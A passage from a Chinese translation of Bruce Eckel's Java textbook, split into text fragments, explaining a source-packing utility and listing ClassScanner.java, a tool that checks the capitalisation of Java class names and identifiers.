ｒｅｓｕｌｔ ｏｆ ／／ ｕｓｉｎｇ ｏｒ ｄｉｓｔｒｉｂｕｔｉｎｇ ｓｏｆｔｗａｒｅ． Ｉｎ ｎｏ ｅｖｅｎｔ ｗｉｌｌ ／／ Ｂｒｕｃｅ Ｅｃｋｅｌ ｏｒ ｔｈｅ ｐｕｂｌｉｓｈｅｒ ｂｅ ｌｉａｂｌｅ ｆｏｒ ａｎｙ ／／ ｌｏｓｔ ｒｅｖｅｎｕｅ， ｐｒｏｆｉｔ， ｏｒ ｄａｔａ， ｏｒ ｆｏｒ ｄｉｒｅｃｔ， ／／ ｉｎｄｉｒｅｃｔ， ｓｐｅｃｉａｌ， ｃｏｎｓｅｑｕｅｎｔｉａｌ， ｉｎｃｉｄｅｎｔａｌ， ｏｒ ／／ ｐｕｎｉｔｉｖｅ ｄａｍａｇｅｓ， ｈｏｗｅｖｅｒ ｃａｕｓｅｄ ａｎｄ ｒｅｇａｒｄｌｅｓｓ ｏｆ ／／ ｔｈｅ ｔｈｅｏｒｙ ｏｆ ｌｉａｂｉｌｉｔｙ， ａｒｉｓｉｎｇ ｏｕｔ ｏｆ ｔｈｅ ｕｓｅ ｏｆ ／／ ｏｒ ｉｎａｂｉｌｉｔｙ ｔｏ ｕｓｅ ｓｏｆｔｗａｒｅ， ｅｖｅｎ ｉｆ Ｂｒｕｃｅ Ｅｃｋｅｌ ／／ ａｎｄ ｔｈｅ ｐｕｂｌｉｓｈｅｒ ｈａｖｅ ｂｅｅｎ ａｄｖｉｓｅｄ ｏｆ ｔｈｅ ／／ ｐｏｓｓｉｂｉｌｉｔｙ ｏｆ ｓｕｃｈ ｄａｍａｇｅｓ． Ｓｈｏｕｌｄ ｔｈｅ ｓｏｆｔｗａｒｅ ／／ ｐｒｏｖｅ ｄｅｆｅｃｔｉｖｅ， ｙｏｕ ａｓｓｕｍｅ ｔｈｅ ｃｏｓｔ ｏｆ ａｌｌ ／／ ｎｅｃｅｓｓａｒｙ ｓｅｒｖｉｃｉｎｇ， ｒｅｐａｉｒ， ｏｒ ｃｏｒｒｅｃｔｉｏｎ． Ｉｆ ｙｏｕ ／／ ｔｈｉｎｋ ｙｏｕ＇ｖｅ ｆｏｕｎｄ ａｎ ｅｒｒｏｒ， ｐｌｅａｓｅ ｅｍａｉｌ ａｌｌ ／／ ｍｏｄｉｆｉｅｄ ｆｉｌｅｓ ｗｉｔｈ ｃｌｅａｒｌｙ ｃｏｍｍｅｎｔｅｄ ｃｈａｎｇｅｓ ｔｏ： ／／ Ｂｒｕｃｅ＠ＥｃｋｅｌＯｂｊｅｃｔｓ．ｃｏｍ． （ｐｌｅａｓｅ ｕｓｅ ｔｈｅ ｓａｍｅ ／／ ａｄｄｒｅｓｓ ｆｏｒ ｎｏｎ－ｃｏｄｅ ｅｒｒｏｒｓ ｆｏｕｎｄ ｉｎ ｔｈｅ ｂｏｏｋ）． ／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／ 从一个打包文件中提取文件时，当初所用系统的文件分隔符也会标注出来，以便用本地系统适用的符号替换 它。"},
    {"text": "在这个时候，它就会新建一个 ＳｏｕｒｃｅＣｏｄｅＦｉｌｅ 对 象，将第一行的内容（已经由调用代码读入了）传递给它，同时还要传递 ＢｕｆｆｅｒｅｄＲｅａｄｅｒ 对象，以便在这个 缓冲区中提取源码列表剩余的内容。"},
    {"text": "若发现 ｐａｃｋａｇｅ 关键字，就通过检查位于开头的空格以及位于末尾的分号，从而提取出包名 （注意亦可一次单独的操作实现，方法是使用过载的 ｓｕｂｓｔｒｉｎｇ（），令其同时检查起始和结束索引位置）。"},
    {"text": "３． 程序列表的存取 接下来的一系列方法是简单的访问器：ｄｉｒｅｃｔｏｒｙ（）、ｆｉｌｅｎａｍｅ（）（注意方法可能与字段有相同的拼写和大小 写形式）和 ｃｏｎｔｅｎｔｓ（）。"},
    {"text": "最后三个方法致力于将这个代码列表写进一个文件——要么通过 ｗｒｉｔｅＰａｃｋｅｄ（）写入一个打包文件，要么通 过 ｗｒｉｔｅＦｉｌｅ（）写入一个 Ｊａｖａ 源码文件。"},
    {"text": "这是通过一个散列表 （Ｈａｓｈｔａｂｌｅ）实现的，它的“键”是准备创建的子目录，而“值”是包含了那个特定目录中的 ＳｏｕｒｃｅＣｏｄｅＦｉｌｅ 对象的 Ｖｅｃｔｏｒ 对象。"},
    {"text": "可通过两种方式建立一个 ＤｉｒＭａｐ（目录映射或对应）关系：默认构建器假定我们希望目录从当前位置向下展 开，而另一个构建器让我们为起始目录指定一个备用的“绝对”路径。"},
    {"text": "首先将 ｄｉｒｅｃｔｏｒｙ（）从我们想添加的 ＳｏｕｒｃｅＣｏｄｅＦｉｌｅ 里提取 出来，然后检查散列表（Ｈａｓｈｔａｂｌｅ），看看其中是否已经包含了那个键。 如果没有，就向散列表加入一个新 的 Ｖｅｃｔｏｒ，并将它同那个键关联到一起。 到这时，不管采取的是什么途径，Ｖｅｃｔｏｒ 都已经就位了，可以将它 提取出来，以便添加 ＳｏｕｒｃｅＣｏｄｅＦｉｌｅ。"},
    {"text": "写一个打包文件时，需打开一个准备写入的文件（当作 ＤａｔａＯｕｔｐｕｔＳｔｒｅａｍ 打开，使数据具有“通用”性）， 并在第一行写入与老的分隔符有关的头信息。"},
    {"text": "接着产生对 Ｈａｓｈｔａｂｌｅ 键的一个 Ｅｎｕｍｅｒａｔｉｏｎ（枚举），并遍 ６３２ 历其中，选择每一个目录，并取得与那个目录有关的 Ｖｅｃｔｏｒ，使那个 Ｖｅｃｔｏｒ 中的每个 ＳｏｕｒｃｅＣｏｄｅＦｉｌｅ 都能 写入打包文件中。 用 ｗｒｉｔｅ（）将 Ｊａｖａ 源码文件写入它们对应的目录时，采用的方法几乎与 ｗｒｉｔｅＰａｃｋｅｄＦｉｌｅ（）完全一致，因为 两个方法都只需简单调用 ＳｏｕｒｃｅＣｏｄｅＦｉｌｅ 中适当的方法。"},
    {"text": "打开文件后，其中的每一 行都会读入，并检查是否符合特殊的条件： （１） 若行首是一个用于源码列表的起始标记，就新建一个 ＳｏｕｒｃｅＣｏｄｅＦｉｌｅ 对象。"},
    {"text": "随后根据 输入来创建第一个 ＳｏｕｒｃｅＣｏｄｅＦｉｌｅ 对象，它会加入 ＤｉｒＭａｐ。 只要包含了一个文件，新的 ＳｏｕｒｃｅＣｏｄｅＦｉｌｅ 对 象就会创建并加入（创建的最后一个用光输入内容后，会简单地返回，然后 ｈａｓＦｉｌｅ（）会返回一个错误）。"},
    {"text": "１ ７ ． １ ． ２ 检查大小写样式 尽管对涉及文字处理的一些项目来说，前例显得比较方便，但下面要介绍的项目却能立即发挥作用，因为它 执行的是一个样式检查，以确保我们的大小写形式符合“事实上”的 Ｊａｖａ 样式标准。"},
    {"text": "下面列出源代码，后面有详细的解释： ／／： ＣｌａｓｓＳｃａｎｎｅｒ．ｊａｖａ ／／ Ｓｃａｎｓ ａｌｌ ｆｉｌｅｓ ｉｎ ｄｉｒｅｃｔｏｒｙ ｆｏｒ ｃｌａｓｓｅｓ ／／ ａｎｄ ｉｄｅｎｔｉｆｉｅｒｓ， ｔｏ ｃｈｅｃｋ ｃａｐｉｔａｌｉｚａｔｉｏｎ． ／／ Ａｓｓｕｍｅｓ ｐｒｏｐｅｒｌｙ ｃｏｍｐｉｌｉｎｇ ｃｏｄｅ ｌｉｓｔｉｎｇｓ． ／／ Ｄｏｅｓｎ＇ｔ ｄｏ ｅｖｅｒｙｔｈｉｎｇ ｒｉｇｈｔ， ｂｕｔ ｉｓ ａ ｖｅｒｙ ／／ ｕｓｅｆｕｌ ａｉｄ． ｉｍｐｏｒｔ ｊａｖａ．ｉｏ．＊；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ｃｌａｓｓ ＭｕｌｔｉＳｔｒｉｎｇＭａｐ ｅｘｔｅｎｄｓ Ｈａｓｈｔａｂｌｅ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｄｄ（Ｓｔｒｉｎｇ ｋｅｙ， Ｓｔｒｉｎｇ ｖａｌｕｅ） ｛ ｉｆ（！ ｃｏｎｔａｉｎｓＫｅｙ（ｋｅｙ）） ｐｕｔ（ｋｅｙ， ｎｅｗ Ｖｅｃｔｏｒ（））； （（Ｖｅｃｔｏｒ）ｇｅｔ（ｋｅｙ））．ａｄｄＥｌｅｍｅｎｔ（ｖａｌｕｅ）； ６３３ ｝ ｐｕｂｌｉｃ Ｖｅｃｔｏｒ ｇｅｔＶｅｃｔｏｒ（Ｓｔｒｉｎｇ ｋｅｙ） ｛ ｉｆ（！ ｃｏｎｔａｉｎｓＫｅｙ（ｋｅｙ）） ｛ Ｓｙｓｔｅｍ．ｅｒｒ．ｐｒｉｎｔｌｎ（ ＂ＥＲＲＯＲ： ｃａｎ＇ｔ ｆｉｎｄ ｋｅｙ： ＂ ＋ ｋｅｙ）； Ｓｙｓｔｅｍ．ｅｘｉｔ（１）； ｝ ｒｅｔｕｒｎ （Ｖｅｃｔｏｒ）ｇｅｔ（ｋｅｙ）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｐｒｉｎｔＶａｌｕｅｓ（ＰｒｉｎｔＳｔｒｅａｍ ｐ） ｛ Ｅｎｕｍｅｒａｔｉｏｎ ｋ ＝ ｋｅｙｓ（）； ｗｈｉｌｅ（ｋ．ｈａｓＭｏｒｅＥｌｅｍｅｎｔｓ（）） ｛ Ｓｔｒｉｎｇ ｏｎｅＫｅｙ ＝ （Ｓｔｒｉｎｇ）ｋ．ｎｅｘｔＥｌｅｍｅｎｔ（）； Ｖｅｃｔｏｒ ｖａｌ ＝ ｇｅｔＶｅｃｔｏｒ（ｏｎｅＫｅｙ）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｖａｌ．ｓｉｚｅ（）； ｉ＋＋） ｐ．ｐｒｉｎｔｌｎ（（Ｓｔｒｉｎｇ）ｖａｌ．ｅｌｅｍｅｎｔＡｔ（ｉ））； ｝ ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＣｌａｓｓＳｃａｎｎｅｒ ｛ ｐｒｉｖａｔｅ Ｆｉｌｅ ｐａｔｈ； ｐｒｉｖａｔｅ Ｓｔｒｉｎｇ［］ ｆｉｌｅＬｉｓｔ； ｐｒｉｖａｔｅ Ｐｒｏｐｅｒｔｉｅｓ ｃｌａｓｓｅｓ ＝ ｎｅｗ Ｐｒｏｐｅｒｔｉｅｓ（）； ｐｒｉｖａｔｅ ＭｕｌｔｉＳｔｒｉｎｇＭａｐ ｃｌａｓｓＭａｐ ＝ ｎｅｗ ＭｕｌｔｉＳｔｒｉｎｇＭａｐ（）， ｉｄｅｎｔＭａｐ ＝ ｎｅｗ ＭｕｌｔｉＳｔｒｉｎｇＭａｐ（）； ｐｒｉｖａｔｅ ＳｔｒｅａｍＴｏｋｅｎｉｚｅｒ ｉｎ； ｐｕｂｌｉｃ ＣｌａｓｓＳｃａｎｎｅｒ（） ｛ ｐａｔｈ ＝ ｎｅｗ Ｆｉｌｅ（＂．＂）； ｆｉｌｅＬｉｓｔ ＝ ｐａｔｈ．ｌｉｓｔ（ｎｅｗ ＪａｖａＦｉｌｔｅｒ（））； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｆｉｌｅＬｉｓｔ．ｌｅｎｇｔｈ； ｉ＋＋） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｆｉｌｅＬｉｓｔ［ｉ］）； ｓｃａｎＬｉｓｔｉｎｇ（ｆｉｌｅＬｉｓｔ［ｉ］）； ｝ ｝ ｖｏｉｄ ｓｃａｎＬｉｓｔｉｎｇ（Ｓｔｒｉｎｇ ｆｎａｍｅ） ｛ ｔｒｙ ｛ ｉｎ ＝ ｎｅｗ ＳｔｒｅａｍＴｏｋｅｎｉｚｅｒ（ ｎｅｗ ＢｕｆｆｅｒｅｄＲｅａｄｅｒ（ ｎｅｗ ＦｉｌｅＲｅａｄｅｒ（ｆｎａｍｅ）））； ／／ Ｄｏｅｓｎ＇ｔ ｓｅｅｍ ｔｏ ｗｏｒｋ： ／／ ｉｎ．ｓｌａｓｈＳｔａｒＣｏｍｍｅｎｔｓ（ｔｒｕｅ）； ／／ ｉｎ．ｓｌａｓｈＳｌａｓｈＣｏｍｍｅｎｔｓ（ｔｒｕｅ）； ｉｎ．ｏｒｄｉｎａｒｙＣｈａｒ（＇／＇）； ｉｎ．ｏｒｄｉｎａｒｙＣｈａｒ（＇．＇）； ｉｎ．ｗｏｒｄＣｈａｒｓ（＇＿＇， ＇＿＇）； ｉｎ．ｅｏｌＩｓＳｉｇｎｉｆｉｃａｎｔ（ｔｒｕｅ）； ｗｈｉｌｅ（ｉｎ．ｎｅｘｔＴｏｋｅｎ（） ！ ＝ ＳｔｒｅａｍＴｏｋｅｎｉｚｅｒ．ＴＴ＿ＥＯＦ） ｛ ｉｆ（ｉｎ．ｔｔｙｐｅ ＝＝ ＇／＇） ｅａｔＣｏｍｍｅｎｔｓ（）； ６３４ ｅｌｓｅ ｉｆ（ｉｎ．ｔｔｙｐｅ ＝＝ ＳｔｒｅａｍＴｏｋｅｎｉｚｅｒ．ＴＴ＿ＷＯＲＤ） ｛ ｉｆ（ｉｎ．ｓｖａｌ．ｅｑｕａｌｓ（＂ｃｌａｓｓ＂） ｜｜ ｉｎ．ｓｖａｌ．ｅｑｕａｌｓ（＂ｉｎｔｅｒｆａｃｅ＂）） ｛ ／／ Ｇｅｔ ｃｌａｓｓ ｎａｍｅ： ｗｈｉｌｅ（ｉｎ．ｎｅｘｔＴｏｋｅｎ（） ！ ＝ ＳｔｒｅａｍＴｏｋｅｎｉｚｅｒ．ＴＴ＿ＥＯＦ ＆＆ ｉｎ．ｔｔｙｐｅ ！ ＝ ＳｔｒｅａｍＴｏｋｅｎｉｚｅｒ．ＴＴ＿ＷＯＲＤ） ； ｃｌａｓｓｅｓ．ｐｕｔ（ｉｎ．ｓｖａｌ， ｉｎ．ｓｖａｌ）； ｃｌａｓｓＭａｐ．ａｄｄ（ｆｎａｍｅ， ｉｎ．ｓｖａｌ）； ｝ ｉｆ（ｉｎ．ｓｖａｌ．ｅｑｕａｌｓ（＂ｉｍｐｏｒｔ＂） ｜｜ ｉｎ．ｓｖａｌ．ｅｑｕａｌｓ（＂ｐａｃｋａｇｅ＂）） ｄｉｓｃａｒｄＬｉｎｅ（）； ｅｌｓｅ ／／ Ｉｔ＇ｓ ａｎ ｉｄｅｎｔｉｆｉｅｒ ｏｒ ｋｅｙｗｏｒｄ ｉｄｅｎｔＭａｐ．ａｄｄ（ｆｎａｍｅ， ｉｎ．ｓｖａｌ）； ｝ ｝ ｝ ｃａｔｃｈ（ＩＯＥｘｃｅｐｔｉｏｎ ｅ） ｛ ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（）； ｝ ｝ ｖｏｉｄ ｄｉｓｃａｒｄＬｉｎｅ（） ｛ ｔｒｙ ｛ ｗｈｉｌｅ（ｉｎ．ｎｅｘｔＴｏｋｅｎ（） ！ ＝ ＳｔｒｅａｍＴｏｋｅｎｉｚｅｒ．ＴＴ＿ＥＯＦ ＆＆ ｉｎ．ｔｔｙｐｅ ！ ＝ ＳｔｒｅａｍＴｏｋｅｎｉｚｅｒ．ＴＴ＿ＥＯＬ） ； ／／ Ｔｈｒｏｗ ａｗａｙ ｔｏｋｅｎｓ ｔｏ ｅｎｄ ｏｆ ｌｉｎｅ ｝ ｃａｔｃｈ（ＩＯＥｘｃｅｐｔｉｏｎ ｅ） ｛ ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（）； ｝ ｝ ／／ ＳｔｒｅａｍＴｏｋｅｎｉｚｅｒ＇ｓ ｃｏｍｍｅｎｔ ｒｅｍｏｖａｌ ｓｅｅｍｅｄ ／／ ｔｏ ｂｅ ｂｒｏｋｅｎ． Ｔｈｉｓ ｅｘｔｒａｃｔｓ ｔｈｅｍ： ｖｏｉｄ ｅａｔＣｏｍｍｅｎｔｓ（） ｛ ｔｒｙ ｛ ｉｆ（ｉｎ．ｎｅｘｔＴｏｋｅｎ（） ！ ＝ ＳｔｒｅａｍＴｏｋｅｎｉｚｅｒ．ＴＴ＿ＥＯＦ） ｛ ｉｆ（ｉｎ．ｔｔｙｐｅ ＝＝ ＇／＇） ｄｉｓｃａｒｄＬｉｎｅ（）； ｅｌｓｅ ｉｆ（ｉｎ．ｔｔｙｐｅ ！"},
    {"text": "＝ ＇＊＇） ｉｎ．ｐｕｓｈＢａｃｋ（）； ｅｌｓｅ ｗｈｉｌｅ（ｔｒｕｅ） ｛ ｉｆ（ｉｎ．ｎｅｘｔＴｏｋｅｎ（） ＝＝ ＳｔｒｅａｍＴｏｋｅｎｉｚｅｒ．ＴＴ＿ＥＯＦ） ｂｒｅａｋ； ｉｆ（ｉｎ．ｔｔｙｐｅ ＝＝ ＇＊＇） ｉｆ（ｉｎ．ｎｅｘｔＴｏｋｅｎ（） ！ ＝ ６３５ ＳｔｒｅａｍＴｏｋｅｎｉｚｅｒ．ＴＴ＿ＥＯＦ ＆＆ ｉｎ．ｔｔｙｐｅ ＝＝ ＇／＇） ｂｒｅａｋ； ｝ ｝ ｝ ｃａｔｃｈ（ＩＯＥｘｃｅｐｔｉｏｎ ｅ） ｛ ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（）； ｝ ｝ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ［］ ｃｌａｓｓＮａｍｅｓ（） ｛ Ｓｔｒｉｎｇ［］ ｒｅｓｕｌｔ ＝ ｎｅｗ Ｓｔｒｉｎｇ［ｃｌａｓｓｅｓ．ｓｉｚｅ（）］； Ｅｎｕｍｅｒａｔｉｏｎ ｅ ＝ ｃｌａｓｓｅｓ．ｋｅｙｓ（）； ｉｎｔ ｉ ＝ ０； ｗｈｉｌｅ（ｅ．ｈａｓＭｏｒｅＥｌｅｍｅｎｔｓ（）） ｒｅｓｕｌｔ［ｉ＋＋］ ＝ （Ｓｔｒｉｎｇ）ｅ．ｎｅｘｔＥｌｅｍｅｎｔ（）； ｒｅｔｕｒｎ ｒｅｓｕｌｔ； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｃｈｅｃｋＣｌａｓｓＮａｍｅｓ（） ｛ Ｅｎｕｍｅｒａｔｉｏｎ ｆｉｌｅｓ ＝ ｃｌａｓｓＭａｐ．ｋｅｙｓ（）； ｗｈｉｌｅ（ｆｉｌｅｓ．ｈａｓＭｏｒｅＥｌｅｍｅｎｔｓ（）） ｛ Ｓｔｒｉｎｇ ｆｉｌｅ ＝ （Ｓｔｒｉｎｇ）ｆｉｌｅｓ．ｎｅｘｔＥｌｅｍｅｎｔ（）； Ｖｅｃｔｏｒ ｃｌｓ ＝ ｃｌａｓｓＭａｐ．ｇｅｔＶｅｃｔｏｒ（ｆｉｌｅ）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｃｌｓ．ｓｉｚｅ（）； ｉ＋＋） ｛ Ｓｔｒｉｎｇ ｃｌａｓｓＮａｍｅ ＝ （Ｓｔｒｉｎｇ）ｃｌｓ．ｅｌｅｍｅｎｔＡｔ（ｉ）； ｉｆ（Ｃｈａｒａｃｔｅｒ．ｉｓＬｏｗｅｒＣａｓｅ（ ｃｌａｓｓＮａｍｅ．ｃｈａｒＡｔ（０））） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂ｃｌａｓｓ ｃａｐｉｔａｌｉｚａｔｉｏｎ ｅｒｒｏｒ， ｆｉｌｅ： ＂ ＋ ｆｉｌｅ ＋ ＂， ｃｌａｓｓ： ＂ ＋ ｃｌａｓｓＮａｍｅ）； ｝ ｝ ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｃｈｅｃｋＩｄｅｎｔＮａｍｅｓ（） ｛ Ｅｎｕｍｅｒａｔｉｏｎ ｆｉｌｅｓ ＝ ｉｄｅｎｔＭａｐ．ｋｅｙｓ（）； Ｖｅｃｔｏｒ ｒｅｐｏｒｔＳｅｔ ＝ ｎｅｗ Ｖｅｃｔｏｒ（）； ｗｈｉｌｅ（ｆｉｌｅｓ．ｈａｓＭｏｒｅＥｌｅｍｅｎｔｓ（）） ｛ Ｓｔｒｉｎｇ ｆｉｌｅ ＝ （Ｓｔｒｉｎｇ）ｆｉｌｅｓ．ｎｅｘｔＥｌｅｍｅｎｔ（）； Ｖｅｃｔｏｒ ｉｄｓ ＝ ｉｄｅｎｔＭａｐ．ｇｅｔＶｅｃｔｏｒ（ｆｉｌｅ）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｉｄｓ．ｓｉｚｅ（）； ｉ＋＋） ｛ Ｓｔｒｉｎｇ ｉｄ ＝ （Ｓｔｒｉｎｇ）ｉｄｓ．ｅｌｅｍｅｎｔＡｔ（ｉ）； ｉｆ（！ ｃｌａｓｓｅｓ．ｃｏｎｔａｉｎｓ（ｉｄ）） ｛ ／／ Ｉｇｎｏｒｅ ｉｄｅｎｔｉｆｉｅｒｓ ｏｆ ｌｅｎｇｔｈ ３ ｏｒ ／／ ｌｏｎｇｅｒ ｔｈａｔ ａｒｅ ａｌｌ ｕｐｐｅｒｃａｓｅ ／／ （ｐｒｏｂａｂｌｙ ｓｔａｔｉｃ ｆｉｎａｌ ｖａｌｕｅｓ）： ｉｆ（ｉｄ．ｌｅｎｇｔｈ（） ＞＝ ３ ＆＆ ｉｄ．ｅｑｕａｌｓ（ ｉｄ．ｔｏＵｐｐｅｒＣａｓｅ（））） ｃｏｎｔｉｎｕｅ； ／／ Ｃｈｅｃｋ ｔｏ ｓｅｅ ｉｆ ｆｉｒｓｔ ｃｈａｒ ｉｓ ｕｐｐｅｒ： ６３６ ｉｆ（Ｃｈａｒａｃｔｅｒ．ｉｓＵｐｐｅｒＣａｓｅ（ｉｄ．ｃｈａｒＡｔ（０）））｛ ｉｆ（ｒｅｐｏｒｔＳｅｔ．ｉｎｄｅｘＯｆ（ｆｉｌｅ ＋ ｉｄ） ＝＝ －１）｛ ／／ Ｎｏｔ ｒｅｐｏｒｔｅｄ ｙｅｔ ｒｅｐｏｒｔＳｅｔ．ａｄｄＥｌｅｍｅｎｔ（ｆｉｌｅ ＋ ｉｄ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｉｄｅｎｔ ｃａｐｉｔａｌｉｚａｔｉｏｎ ｅｒｒｏｒ ｉｎ：＂ ＋ ｆｉｌｅ ＋ ＂， ｉｄｅｎｔ： ＂ ＋ ｉｄ）； ｝ ｝ ｝ ｝ ｝ ｝ ｓｔａｔｉｃ ｆｉｎａｌ Ｓｔｒｉｎｇ ｕｓａｇｅ ＝ ＂Ｕｓａｇｅ： ＼ｎ＂ ＋ ＂ＣｌａｓｓＳｃａｎｎｅｒ ｃｌａｓｓｎａｍｅｓ －ａ＼ｎ＂ ＋ ＂＼ｔＡｄｄｓ ａｌｌ ｔｈｅ ｃｌａｓｓ ｎａｍｅｓ ｉｎ ｔｈｉｓ ＼ｎ＂ ＋ ＂＼ｔｄｉｒｅｃｔｏｒｙ ｔｏ ｔｈｅ ｒｅｐｏｓｉｔｏｒｙ ｆｉｌｅ ＼ｎ＂ ＋ ＂＼ｔｃａｌｌｅｄ ＇ｃｌａｓｓｎａｍｅｓ＇＼ｎ＂ ＋ ＂ＣｌａｓｓＳｃａｎｎｅｒ ｃｌａｓｓｎａｍｅｓ＼ｎ＂ ＋ ＂＼ｔＣｈｅｃｋｓ ａｌｌ ｔｈｅ ｊａｖａ ｆｉｌｅｓ ｉｎ ｔｈｉｓ ＼ｎ＂ ＋ ＂＼ｔｄｉｒ ｅｃｔｏｒｙ ｆｏｒ ｃａｐｉｔａｌｉｚａｔｉｏｎ ｅｒｒｏｒｓ， ＼ｎ＂ ＋ ＂＼ｔｕｓｉｎｇ ｔｈｅ ｒｅｐｏｓｉｔｏｒｙ ｆｉｌｅ ＇ｃｌａｓｓｎａｍｅｓ＇＂； ｐｒｉｖａｔｅ ｓｔａｔｉｃ ｖｏｉｄ ｕｓａｇｅ（） ｛ Ｓｙｓｔｅｍ．ｅｒｒ．ｐｒｉｎｔｌｎ（ｕｓａｇｅ）； Ｓｙｓｔｅｍ．ｅｘｉｔ（１）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｉｆ（ａｒｇｓ．ｌｅｎｇｔｈ ＜ １ ｜｜ ａｒｇｓ．ｌｅｎｇｔｈ ＞ ２） ｕｓａｇｅ（）； ＣｌａｓｓＳｃａｎｎｅｒ ｃ ＝ ｎｅｗ ＣｌａｓｓＳｃａｎｎｅｒ（）； Ｆｉｌｅ ｏｌｄ ＝ ｎｅｗ Ｆｉｌｅ（ａｒｇｓ［０］）； ｉｆ（ｏｌｄ．ｅｘｉｓｔｓ（）） ｛ ｔｒｙ ｛ ／／ Ｔｒｙ ｔｏ ｏｐｅｎ ａｎ ｅｘｉｓｔｉｎｇ ／／ ｐｒｏｐｅｒｔｉｅｓ ｆｉｌｅ： ＩｎｐｕｔＳｔｒｅａｍ ｏｌｄｌｉｓｔ ＝ ｎｅｗ ＢｕｆｆｅｒｅｄＩｎｐｕｔＳｔｒｅａｍ（ ｎｅｗ ＦｉｌｅＩｎｐｕｔＳｔｒｅａｍ（ｏｌｄ））；"},
    {"text": "ｃ．ｃｌａｓｓｅｓ．ｌｏａｄ（ｏｌｄｌｉｓｔ）； ｏｌｄｌｉｓｔ．ｃｌｏｓｅ（）； ｝ ｃａｔｃｈ（ＩＯＥｘｃｅｐｔｉｏｎ ｅ） ｛ Ｓｙｓｔｅｍ．ｅｒｒ．ｐｒｉｎｔｌｎ（＂Ｃｏｕｌｄ ｎｏｔ ｏｐｅｎ ＂ ＋ ｏｌｄ ＋ ＂ ｆｏｒ ｒｅａｄｉｎｇ＂）； Ｓｙｓｔｅｍ．ｅｘｉｔ（１）； ｝ ｝ ｉｆ（ａｒｇｓ．ｌｅｎｇｔｈ ＝＝ １） ｛ ｃ．ｃｈｅｃｋＣｌａｓｓＮａｍｅｓ（）； ｃ．ｃｈｅｃｋＩｄｅｎｔＮａｍｅｓ（）； ｝ ／／ Ｗｒｉｔｅ ｔｈｅ ｃｌａｓｓ ｎａｍｅｓ ｔｏ ａ ｒｅｐｏｓｉｔｏｒｙ： ６３７ ｉｆ（ａｒｇｓ．ｌｅｎｇｔｈ ＝＝ ２） ｛ ｉｆ（！ ａｒｇｓ［１］．ｅｑｕａｌｓ（＂－ａ＂）） ｕｓａｇｅ（）； ｔｒｙ ｛ ＢｕｆｆｅｒｅｄＯｕｔｐｕｔＳｔｒｅａｍ ｏｕｔ ＝ ｎｅｗ ＢｕｆｆｅｒｅｄＯｕｔｐｕｔＳｔｒｅａｍ（ ｎｅｗ ＦｉｌｅＯｕｔｐｕｔＳｔｒｅａｍ（ａｒｇｓ［０］））； ｃ．ｃｌａｓｓｅｓ．ｓａｖｅ（ｏｕｔ， ＂Ｃｌａｓｓｅｓ ｆｏｕｎｄ ｂｙ ＣｌａｓｓＳｃａｎｎｅｒ．ｊａｖａ＂）； ｏｕｔ．ｃｌｏｓｅ（）； ｝ ｃａｔｃｈ（ＩＯＥｘｃｅｐｔｉｏｎ ｅ） ｛ Ｓｙｓｔｅｍ．ｅｒｒ．ｐｒｉｎｔｌｎ（ ＂Ｃｏｕｌｄ ｎｏｔ ｗｒｉｔｅ ＂ ＋ ａｒｇｓ［０］）； Ｓｙｓｔｅｍ．ｅｘｉｔ（１）； ｝ ｝ ｝ ｝ ｃｌａｓｓ ＪａｖａＦｉｌｔｅｒ ｉｍｐｌｅｍｅｎｔｓ ＦｉｌｅｎａｍｅＦｉｌｔｅｒ ｛ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ａｃｃｅｐｔ（Ｆｉｌｅ ｄｉｒ， Ｓｔｒｉｎｇ ｎａｍｅ） ｛ ／／ Ｓｔｒｉｐ ｐａｔｈ ｉｎｆｏｒｍａｔｉｏｎ： Ｓｔｒｉｎｇ ｆ ＝ ｎｅｗ Ｆｉｌｅ（ｎａｍｅ）．ｇｅｔＮａｍｅ（）； ｒｅｔｕｒｎ ｆ．ｔｒｉｍ（）．ｅｎｄｓＷｉｔｈ（＂．ｊａｖａ＂）；"},
    {"text": "针对特定目录中的文件，为找出相应的类与标识符，我们使用了两个 ＭｕｌｔｉＳｔｒｉｎｇＭａｐ：ｃｌａｓｓＭａｐ 以及 ｉｄｅｎｔＭａｐ。"},
    {"text": "这样一来，ｃｌａｓｓＭａｐ 就可用于在本地目 录的所有类间遍历，而且可用 ｃｌａｓｓｅｓ 检查当前标记是不是一个类名（它标记着对象或方法定义的开始，所 以收集接下去的记号——直到碰到一个分号——并将它们都置入 ｉｄｅｎｔＭａｐ ）。"},
    {"text": "ＣｌａｓｓＳｃａｎｎｅｒ 的默认构建器会创建一个由文件名构成的列表（采用 ＦｉｌｅｎａｍｅＦｉｌｔｅｒ 的 ＪａｖａＦｉｌｔｅｒ 实现形 式，参见第 １０ 章）。"},
    {"text": "根据 Ｊａｖａ 帮助文档，将 ｔｒｕｅ 传递给 ｓｌａｓｈＳｔａｒｔＣｏｍｍｅｎｔｓ（）和 ｓｌａｓｈＳｌａｓｈＣｏｍｍｅｎｔｓ（）的本意应当是剥除那些注释内容，但这样做似 乎有些问题（在 Ｊａｖａ １．０ 中几乎无效）。"},
